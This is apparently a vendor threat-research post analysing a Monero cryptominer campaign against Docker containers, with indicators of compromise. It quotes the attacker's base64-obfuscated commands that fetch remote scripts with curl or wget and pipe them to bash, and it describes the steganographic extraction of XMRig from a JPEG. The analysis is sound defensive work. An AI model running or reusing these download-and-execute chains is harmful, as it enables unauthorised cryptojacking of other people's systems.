Caught in the Cloud | How a Monero Crypto Miner Exploits Docker Containers

Cryptocurrencies have become a focal point for cybercriminals, but by far the most popular cryptocurrency to mine among cybercriminals over the last couple of years has been Monero virtual currency (XMR). Over the last year, Monero is up 550% in value and cybercriminals are looking for long-lasting Monero mining campaigns to gain huge profits.

Cryptomining malware flies under the radar because many of these unwanted programs do not do anything malicious to infected systems. However, the mining costs are absorbed by the unknowing device owner while cybercriminals reap the rewards.

SentinelLabs recently detected a cryptocurrency mining campaign affecting Docker Linux systems. The Docker software platform has witnessed huge growth among enterprises due to its ability to push out applications in small, resource-frugal containers. This, combined with the fact that many security solutions lack visibility into container images, makes them ideal targets for low-risk, finance-driven campaigns.

The campaign seen by SentinelLabs doesn’t use notable exploit components but rather uses a few simple obfuscation methods. The actors were not expecting to find advanced endpoint protections on Docker containers. As we describe below, the miner calls a few bash scripts and then use steganography to evade legacy AVs or casual inspection.

Technical Analysis

Our Vigilance team detected a Threat Actor (TA) who initially gained access to a Docker container. The initial sequence began with the threat actor executing a script.

sh -c echo 'aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL2JIb0wyVwo='|base64 -d|(xargs curl -fsSL || xargs wget -q -O)|bash

This downloads a shell script from hxxps//ideone[.]com/plain/bHoL2W.

The second stage downloaded from this URL is another simple shell script.

#!/bin/bash
a=$(base64 -d <<< "aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL0diN0JkMgo=")
(curl -fsSL $a||wget -q -O- $a)|bash

The a variable initially decodes the base64 formatted string aHR0cHM6Ly9pZGVvbmUuY29tL3BsYWluL0diN0JkMgo, which converts to https://ideone[.]com/plain/Gb7Bd2. The decoded URL is then passed to the curl command, which uses -f to fail silently so that there is no error output if there is a server error, -sS to suppress the progress meter but still report an error if the entire command fails, and -L to ensure that redirects are followed. If the command fails using curl, the script switches to wget, a similar command-line utility for downloading files from the web. The -q switch tells wget to operate quietly so no output is sent and -O- to output the fetched document to stdout. The output, whether from curl or wget, is then piped to bash for immediate execution.

That output is a shell script with 174 lines of code. In the following section we will analyze the shell script.

From Shells to Mining

The first 16 lines of the script are plain text script commands, but on lines 17-19 there are patterns of base64 encoding. In line 17 it’s the same base64 encoded string as described in the previous section where the TA initially executed the script. Repeating this command tells me that the TA’s experience in writing malicious scripts is in the beginning stages of this TA’s journey, there are more elegant ways to do this.

In lines 18 and 19, the TA uses a clever trick to bypass detections by downloading a JPEG file. Line 18’s base64 decodes to https://i.ibb[.]co/6PdZ0NT/he.jpg and Line 19’s base64 decodes to https://i.ibb[.]co/phwmnCb/he32.jpg.

The first clue that something was unusual was the size of the JPEG, which is 6MB. The first thing is to analyze the jpg by loading it in the Cerbero suite and confirm my theory that steganography is being used. Viewing the file contents, we can see that the JPEG file uses a JFIF header identifier, but since I know this malware is intended to run on a Linux system I’m going to search for bytes 454c46 (the ELF magic number) that mark where an ELF binary begins.

Turning back to the shell script, let’s examine how the threat actor extracts and uses the ELF binary found in the image.

We can see that the TA uses the dd command-line utility, whose primary purpose is to convert and copy files. It copies the original JPEG file then outputs the file but skips the JPEG blocks on output with skip=14497 and sets the output block size to Bytes bs=1.

The if statement checks ${ARCH}x = "x86_64x" then looks for ${ARCH}x = "i686x", which uses he_32 and finally runs the command. The next line in the code makes it clear that we are dealing with XMRig.

To confirm, I ran the command

dd if=he_save_jpg of=he_save skip=14497 bs=1

and then loaded the he_save into Ghidra. This showed that the ELF binary extracted from the image was XMRig 6.6.2, built on December 17 2020: one month before the shell scripts appeared in the wild.

Conclusion

The incidence of crypto miners in the enterprise has soared over the last few years as attackers seek low-risk returns from poorly-protected endpoints and cloud container instances. Cryptocurrency mining malware hinders system performance, increases the compute power cost to businesses, and in some cases can be a precursor of further infections.

Docker container protection is critical in fighting crypto mining due to the poor visibility in running container services. SentinelOne XDR detects the above malicious program and many other crypto miner variants on cloud workloads as well as traditional endpoints.

Indicators of Compromise

SHA256
70144c33b1723087f4df98ca2c3aa39a6cc80a9dcee376562e2e65f07b020c9e
5c21586e4fa48a5130d11e43ee332327e1bb76ad45b07d075a5ab350c7981c71
e808760ffb94d970fb9a224c3e1093e5c8999dd736936d6290b28741abc9c81f

SHA1
c7bdffdeb5bee04c0effc6a7bfde64d4fef9e268
423322dd42c5676d8770a94257d4008a57000129
ef1a8802b01d2b39017eb3717fa83cf9db5601a7

URLs
hxxps://ideone[.]com/plain/bHoL2W
hxxps://ideone[.]com/plain/Gb7Bd2
hxxps://i.ibb[.]co/6PdZ0NT/he.jpg
hxxps://i.ibb[.]co/phwmnCb/he32.jpg